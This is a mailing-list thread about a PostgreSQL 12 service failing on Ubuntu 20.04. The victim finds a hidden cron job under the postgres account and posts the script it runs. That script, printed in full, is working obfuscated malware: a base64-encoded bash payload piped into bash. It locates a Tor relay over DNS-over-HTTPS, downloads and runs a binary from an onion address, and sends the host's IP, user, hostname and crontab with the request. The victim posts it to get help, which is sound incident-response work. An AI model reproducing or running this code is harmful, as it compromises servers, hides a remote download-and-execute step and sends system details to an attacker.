Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

[Antonis Christodoulou <christan305@xxxxxxxxxxx>]

Hey Matthias, here it is:

christan@vultr:~$ sudo cat /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh

#!/bin/bash

exec &>/dev/null

echo x8C8W8llVk0Rzccy9N0ggCOI2VBAc

echo eDhDOFc4bGxWazBSemNjeTlOMGdnQ09JMlZCQWMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiNGl1Y2lneHZsZng0dmNxbjVzb3JkZXJzYWEzYTN6dGpjYW9zenB0eHhvNWIzcGJuNm5sd3NmYWQiKQoKc29ja3ooKSB7Cm49KGRucy50d25pYy50dyBkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1maS5ibGFoZG5zLmNvbSBkb2gtanAuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLXNnLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmRpZ2l0YWxzaXplLm5ldCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnE9JHtuWyQoKFJBTkRPTSUkeyNuW0BdfSkpXX0Kcz0kKCRjIGh0dHBzOi8vJHEvJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8dGFpbCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash

On 2 Jan 2023, at 9:46 AM, Matthias Apitz <guru@xxxxxxxxxxx> wrote:

El día lunes, enero 02, 2023 a las 08:53:32a. m. +0200, Antonis Christodoulou escribió:

And for the record, Ahmet, here’s a weird cron job:

christan@vultr:~$ sudo crontab -l -u postgres
13 * * * * /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > /dev/null 2>&1 &

Had no idea somebody can add something like this externally...

Please post the content of this script.

matthias


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Matthias Apitz, ✉ guru@xxxxxxxxxxx, http://www.unixarea.de/ +49-176-38902045
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